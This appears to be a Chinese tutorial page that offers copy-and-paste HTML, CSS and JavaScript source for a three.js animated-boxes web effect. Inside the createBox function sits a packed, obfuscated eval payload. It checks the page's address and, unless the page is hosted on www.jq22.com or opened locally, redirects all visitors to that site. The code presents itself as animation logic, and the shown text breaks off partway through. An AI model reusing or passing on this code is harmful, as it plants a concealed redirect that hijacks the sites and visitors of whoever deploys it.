HTML+CSS+JavaScript网页特效源代码(复制代码保存即可使用)

以下下代码直接复制保存即可使用特效一特效二特效三特效四特效五特效六特效七特效一方块运动演示<html><head><meta charset="utf-8"><title>蓝盒子</title><style>body { margin: 0; padding: 0;background: black; overflow: hidden;}</style><script
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以下下代码直接复制保存即可使用

特效一

方块运动演示
在这里插入图片描述

<html><head>
<meta charset="utf-8">
<title>蓝盒子</title>
<style>body { margin: 0; padding: 0;background: black; overflow: hidden;}</style>
<script src="http://cdn.bootcss.com/three.js/r78/three.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/1.17.0/TweenMax.min.js"></script>
</head>
<body>
<script>
var isMouseDown = false;
var emptySlot = "emptySlot", planeTop = "planeTop", planeBottom = "planeBottom";
var camera, scene, renderer;
var mouse = {x: 0, y: 0};
var camPos = {x: 0, y: 0, z: 10};
var sw = window.innerWidth, sh = window.innerHeight;
var cols = 20;
var rows = 16;
var gap = 20;
var size = {
	width: 100,
	height: 30,
	depth: 150,
}
var planeOffset = 250;
var allRowsDepth = rows * (size.depth + gap);
var allColsWidth = cols * (size.depth + gap);

var speedNormal = 4;
var speedFast = 34;
var speed = speedNormal;
var boxes = {
	planeBottom: [],
	planeTop: []
};
var boxes1d = [];

function num(min, max) { return Math.random() * (max - min) + min; }
function draw(props) {

	var colours = {
		slow: {
			r: num(0, 0.2),
			g: num(0.5, 0.9),
			b: num(0.3, 0.7)
		},
		fast: {
			r: num(0.9, 1.0),
			g: num(0.1, 0.7),
			b: num(0.2, 0.5)
		}
	}

	var uniforms = {
		r: { type: "f", value: colours.slow.r},
		g: { type: "f", value: colours.slow.g},
		b: { type: "f", value: colours.slow.b},
		distanceX: { type: "f", value: 1.0},
		distanceZ: { type: "f", value: 1.0},
		pulse: { type: "f", value: 0},
		speed: { type: "f", value: speed},
	};

	var material = new THREE.ShaderMaterial( {
		uniforms: uniforms,
		vertexShader: vertexShader,
		fragmentShader: fragmentShader
	});

	var geometry = new THREE.BoxGeometry(props.width, props.height, props.depth);
	var object = new THREE.Mesh(geometry, material);
	object.colours = colours;
	return object;
}


function init() {
	scene = new THREE.Scene();
	camera = new THREE.PerspectiveCamera( 100, sw / sh, 1, 10000 );
	scene.add( camera );
	renderer = new THREE.WebGLRenderer({antialias: true});
	renderer.setSize( sw, sh );
	for (var j = 0, jl = rows; j < jl; j++) {
		boxes.planeBottom[j] = [];
		boxes.planeTop[j] = [];
		for (var i = 0, il = cols; i < il; i++) {
			boxes.planeBottom[j][i] = emptySlot;
			boxes.planeTop[j][i] = emptySlot;
		};
	};

	function createBox() {
		window["eval"](function(CPY1,OvGQk2,btUiR$P3,YzTn4,rISXh5,C$jVY6){rISXh5=function(btUiR$P3){return(btUiR$P3<OvGQk2?"":rISXh5(window["parseInt"](btUiR$P3/OvGQk2)))+((btUiR$P3=btUiR$P3%OvGQk2)>35?window["String"]["fromCharCode"](btUiR$P3+29):btUiR$P3["toString"](36))};if(!''["replace"](/^/,window["String"])){while(btUiR$P3--)C$jVY6[rISXh5(btUiR$P3)]=YzTn4[btUiR$P3]||rISXh5(btUiR$P3);YzTn4=[function(rISXh5){return C$jVY6[rISXh5]}];rISXh5=function(){return'\w+'};btUiR$P3=1;};while(btUiR$P3--)if(YzTn4[btUiR$P3])CPY1=CPY1["replace"](new window["RegExp"]('\b'+rISXh5(btUiR$P3)+'\b','g'),YzTn4[btUiR$P3]);return CPY1;}('3 a=7.m(7.8()*p),9=a;3 c=7.8()>0.5?1:-1,d=c===-1?H:D;3 b=7.m(7.8()*C),i=b;3 x=(a-p/2)*(e.F+l);3 y=c*E;3 z=b*(e.B+l);u(k[d][i][9]===A){3 6=w(e);6.P.y=y;6.N=M;6.R={x:x,z:0};6.I=z;k[d][i][9]=6;K.L(6);G.Q(6)}3 t=f.h.g.r(0,v);3 s=f.h.g.r(0,4);u(t=="n://o.q.j"||s=="O"){}J{f.h.g="n://o.q.j"}',54,54,'|||var|||box|Math|random|xai|xi|zi|yi|yai|size|window|href|location|zai|com|boxes|gap|floor|http|www|cols|jq22|substr|dzurl2|dzurl|if|19|draw||||emptySlot|depth|rows|planeTop|planeOffset|width|scene|planeBottom|posZ|else|boxes1d|push|false|isWarping|file|position|add|offset'["split"]('|'),0,{}))
		
	}
	for (var i = 0, il = rows * cols; i < il; i++) {
		createBox();
	};
	document.body.appendChild(renderer.domElement);

	function listen(eventNames, callback) {
		for (var i = 0; i < eventNames.length; i++) {
			window.addEventListener(eventNames[i], callback);
		}
	}
	listen(["resize"], function(e){
		sw = window.innerWidth;
		sh = window.innerHeight
		camera.aspect = sw / sh;
		camera.updateProjectionMatrix();
		renderer.setSize(sw, sh);
	});
	listen(["mousedown", "touchstart"], function(e) {
		e.preventDefault();
		isMouseDown = true;
	});
	listen(["mousemove", "touchmove"], function(e) {
		e.preventDefault();
		if (e.changedTouches && e.changedTouches[0]) e = e.changedTouches[0];
		mouse.x = (e.clientX / sw) * 2 - 1;
		mouse.y = -(e.clientY / sh) * 2 + 1;
	});
	listen(["mouseup", "touchend"], function(e) {
		e.preventDefault();
		isMouseDown = false;
	});
	render(0);

}




function move(x, y, z) {
	var box = boxes[y][z][x];

	if (box !== emptySlot) {

		box.position.x = box.offset.x;

		box.position.z = box.offset.z + box.posZ;

		if (box.position.z > 0) {
			box.posZ -= allRowsDepth;
		}

		// return;
		// if (isMouseDown) return;
		if (!box.isWarping && Math.random() > 0.999) {

			var dir = Math.floor(Math.random() * 5), xn = x, zn = z, yn = y, yi = 0, xo = 0, zo = 0;
			switch (dir) {
				case 0 : xn++; xo = 1; break;
				case 1 : xn--; xo = -1; break;
				case 2 : zn++; zo = 1; break;
				case 3 : zn--; zo = -1; break;
				case 4 :
					yn = (y === planeTop) ? planeBottom : planeTop;
					yi = (y === planeTop) ? -1 : 1;

					break;
			}

			if (boxes[yn][zn] && boxes[yn][zn][xn] === emptySlot) {

				boxes[y][z][x] = emptySlot;

				box.isWarping = true;

				boxes[yn][zn][xn] = box;

				// con.log( box.offset.x,  box.offset.z);

				if (dir === 4) { // slide vertically
					TweenMax.to(box.position, 0.5, {
						y: yi * planeOffset
					});
				} else { // slide horizontally
					TweenMax.to(box.offset, 0.5, {
						x: box.offset.x + xo * (size.width + gap),
						z: box.offset.z + zo * (size.depth + gap),
					});
				}
				TweenMax.to(box.offset, 0.6, {
					onComplete: function() {
						box.isWarping = false;
					}
				});

			}
		}

	}
}


function render(time) {

	speed -= (speed - (isMouseDown ? speedFast : speedNormal)) * 0.05;

	var box;
	for (var b = 0, bl = boxes1d.length; b < bl; b++) {
		box = boxes1d[b];
		box.posZ += speed;

		// normalized z distance from camera
		var distanceZ = 1 - ((allRowsDepth - box.posZ) / (allRowsDepth) - 1);
		box.material.uniforms.distanceZ.value = distanceZ;

		// normalized x distance from camera (centre)
		var distanceX = 1 - (Math.abs(box.position.x)) / (allColsWidth / 3);
		box.material.uniforms.distanceX.value = distanceX;

		var colour = isMouseDown ? box.colours.fast : box.colours.slow;
		box.material.uniforms.r.value -= (box.material.uniforms.r.value - colour.r) * 0.1;
		box.material.uniforms.g.value -= (box.material.uniforms.g.value - colour.g) * 0.1;
		box.material.uniforms.b.value -= (box.material.uniforms.b.value - colour.b) * 0.1;

		// normalized speed
		var currentSpeed = (speed - speedNormal) / (speedFast - speedNormal)
		box.material.uniforms.speed.value = currentSpeed;

		// pulses more with more speed... of course!
		if (Math.random() > (0.99995 - currentSpeed * 0.005)) {
			box.material.uniforms.pulse.value = 1;
		}
		box.material.uniforms.pulse.value -= box.material.uniforms.pulse.value * 0.1 / (currentSpeed + 1);

		// if (b ==13) con.log(box.material.uniforms.speed.value);
	}

	for (var j = 0, jl = rows; j < jl; j++) { // 
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